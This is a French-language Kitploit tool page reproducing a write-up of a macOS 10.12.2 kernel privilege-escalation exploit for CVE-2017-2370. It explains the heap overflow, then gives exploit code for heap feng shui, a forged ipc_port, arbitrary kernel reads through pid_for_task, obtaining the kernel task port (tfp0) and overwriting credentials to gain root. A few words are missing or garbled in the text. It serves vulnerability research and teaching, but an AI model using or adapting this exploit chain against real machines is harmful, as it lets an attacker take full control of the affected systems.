Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-2370 — sur Mac 10.12.2 | Kitploit
Outils/GitHubGitHub/peterpan0927/cve-2017-2370
Escalade de PrivilègesSécurité iOSCriminalistique MémoireExploitationCollecte d'InformationsExploitation de Binaires
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

sur Mac 10.12.2

Voir le dépôt
203il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

0x00. Avant-propos

Cette élévation de privilèges exploite une vulnérabilité présente dans mach_voucher_extract_attr_recipe_trap, et le cœur de la méthode d'exploitation consiste à utiliser les messages MACH_MSG_OOL_PORTS_DESCRIPTOR.

En ce qui concerne mach_msg ool, en bref, lorsqu'un message contenant un ool descriptor est envoyé, le noyau copie les données spécifiées de l'espace utilisateur vers l'espace noyau et les conserve jusqu'à ce que la tâche destinataire ait traité le message. De même, lorsqu'un processus cible reçoit un message contenant un ool descriptor, le noyau copie les données de l'espace noyau vers l'espace utilisateur (pas nécessairement une véritable copie). Cette technique peut donc être utilisée pour écrire des données dans le tas du noyau ou pour lire des données depuis le noyau.

L'exploitation de cette vulnérabilité étant bien plus complexe que celle de Trident, je vais l'analyser pas à pas, du point d'origine de la vulnérabilité jusqu'à son exploitation. Le code est disponible sur mon github.

0x01. Point d'origine de la vulnérabilité

Parmi les nouvelles fonctionnalités ajoutées dans iOS 10 et macOS 10.12 se trouve une fonction appelée mach_voucher_extract_attr_recipe_trap, un Mach trap pouvant être appelé depuis la sandbox. Voici le code source de cette fonction :

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中,此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. Grâce à l'analyse, on sait qu'au point a, le pointeur d'espace utilisateur de 4 octets args->recipe_size est écrit dans sz.
  2. Au point b, si la taille de sz est comprise entre MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) et MACH_VOUCHER_TRAP_STACK_LIMIT (256), un tampon du tas du noyau est alloué selon la valeur de sz.
  3. Au point c, la mémoire de l'espace utilisateur est copiée dans la zone tout juste allouée, mais la taille de copie transmise n'est pas le sz utilisé pour l'allocation du tas du noyau, mais un pointeur d'espace utilisateur. Cela provoque donc un débordement de tas, et c'est exactement ce point que nous exploitons. De plus, la fonction copyin a la particularité de s'arrêter de copier lorsqu'elle rencontre une page non mappée (unmap), particularité qui sera exploitée dans notre poc :

copyin

0x01. Étapes d'exploitation

  1. Tout d'abord, nous devons rendre l'espace du tas contrôlable. Pour cela, nous utilisons la technique du « heap feng shui », car après la randomisation de la freelist, nous ne connaissons plus la position des blocs de mémoire réalloués.

Il faut d'abord comprendre comment mach msg traite MACH_MSG_OOL_PORTS_DESCRIPTOR. Lorsque le noyau reçoit un message complexe et détecte un ports descriptor, il le confie à la fonction ipc_kmsg_copyin_ool_ports_descriptor (appelée par ipc_kmsg_copyin) qui lit tous les objets port. Cette fonction appelle kalloc pour allouer la mémoire nécessaire (sur 64 bits, la mémoire allouée est le double de l'entrée, la longueur de name étant de 4 octets). Elle convertit ensuite chaque port valide, depuis son name, en adresse réelle de l'objet ipc_port et la stocke. Pour un name dont la valeur est MACH_PORT_NULL或者MACH_PORT_DEAD, elle reste inchangée.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

Ainsi, lors de l'attaque, nous envoyons un grand nombre de MACH_PORT_DEAD pour remplir la zone mémoire avec 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD), puis nous déclenchons la vulnérabilité pour remplacer l'un des IPC_PORT_DEAD par une zone mémoire préparée par l'attaquant. Si la zone pointée est une structure ipc port légitime, alors après la réception du message OOL PORTS, nous pouvons obtenir dans l'espace utilisateur le port name correspondant à cet ipc_port, et passer à l'étape suivante.

Feng shui du tas

  1. Construction de l'objet ipc_object

Tout d'abord, nous avons déjà obtenu ce fake port. Pour réaliser la fuite d'informations, il est nécessaire de savoir selon quels paramètres le noyau le traite différemment. Regardons d'abord la structure de ipc_port :

root@kitploit:~
struct ipc_port {
	//ipc_object的指针就在前八个字节,是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

Parmi ces champs se trouve l'objet noyau correspondant au port. Le type d'objet noyau auquel cet ipc_port correspond est quant à lui déterminé par les attributs de ipc_object. Nous construisons donc en réalité un ipc_object.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象,并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态,防止死锁

Le noyau considérera alors cet ipc_port comme un port utilisé pour communiquer avec un objet IKOT_CLOCK. L'objectif suivant est de fuiter l'adresse de base du noyau :

Nous falsifions cet ipc_port en objet IKOT_CLOCK, puis définissons son pointeur kdata.kobject sur une adresse noyau. À chaque modification de cette adresse noyau, nous appelons clock_sleep_trap depuis l'espace utilisateur. Dans le noyau, port_name_to_clock est appelé pour obtenir cette adresse noyau, qui est ensuite transmise comme paramètre clock à clock_sleep_internal. Voici le code source :

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

D'après le code ci-dessus, si l'adresse de clock n'est pas celle de clock_list[SYSTEM_CLOCK], KERN_FAILURE est retourné ; sinon, une autre valeur est retournée. Nous pouvons donc utiliser la valeur renvoyée pour itérer (en modifiant sans cesse la valeur de kobject) jusqu'à ce que KERN_FAILURE soit renvoyé. Nous obtenons alors l'adresse de clock_list[SYSTEM_CLOCK] dans le noyau. Cette adresse ne se trouve pas dans le tas ; c'est une variable globale du noyau située à un décalage spécifique. Ensuite, à partir de cet endroit, on lit l'en-tête de chaque page précédente jusqu'à trouver MH_MAGIC_64, c'est-à-dire 0xfeedfacf.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. Lecture arbitraire de la mémoire du noyau

Une fois cette adresse obtenue, nous devons convertir notre objet en type task et trouver l'adresse de base du noyau. Cela permet de calculer la kslide et d'enchaîner sur l'opération tfp0.

root@kitploit:~
//将fake port的类型换成task,因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

Une fois l'adresse de kobject obtenue, on saute au début de la page. Dans les PoC de Yalu102 et Zheng min, l'ordre de cette opération diffère, mais cela n'a pas d'importance, car l'adresse de faketask se trouve également sur cette page. Un simple ET binaire donne donc l'adresse de début de page.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

Ensuite, on écrit une boucle infinie pour chercher MH_MAGIC_64, puis on passe à l'étape tfp0 :

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

Si une lecture d'adresse arbitraire est possible, c'est parce que la fonction pid_for_task n'effectue aucune vérification : elle se contente de convertir le paramètre passé en adresse et d'effectuer quelques additions/soustractions.

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

Le processus complet consiste à trouver la liste chaînée des processus du noyau, à la parcourir pour trouver l'adresse de notre propre processus et celle de pid0. Ensuite, à partir du processus noyau, on obtient l'adresse du kernel task, puis on extrait itk_sself(kernel task's port) depuis ce kernel task. On écrase ensuite les informations de notre ipc port falsifié avec celles du kernel task, puis on fait pointer le fake port vers le kernel task falsifié. On définit le bootstrap port du kernel task comme étant le port du vrai kernel task. Enfin, via l'interface task_get_special_port, on récupère le port du , ce qui permet d'effectuer des lectures et écritures à des adresses arbitraires et de remplacer les privilèges de notre par .

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. Références

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • Et merci à shrek_wzw pour son aide.
Télécharger l’outil
kernel task
proc
root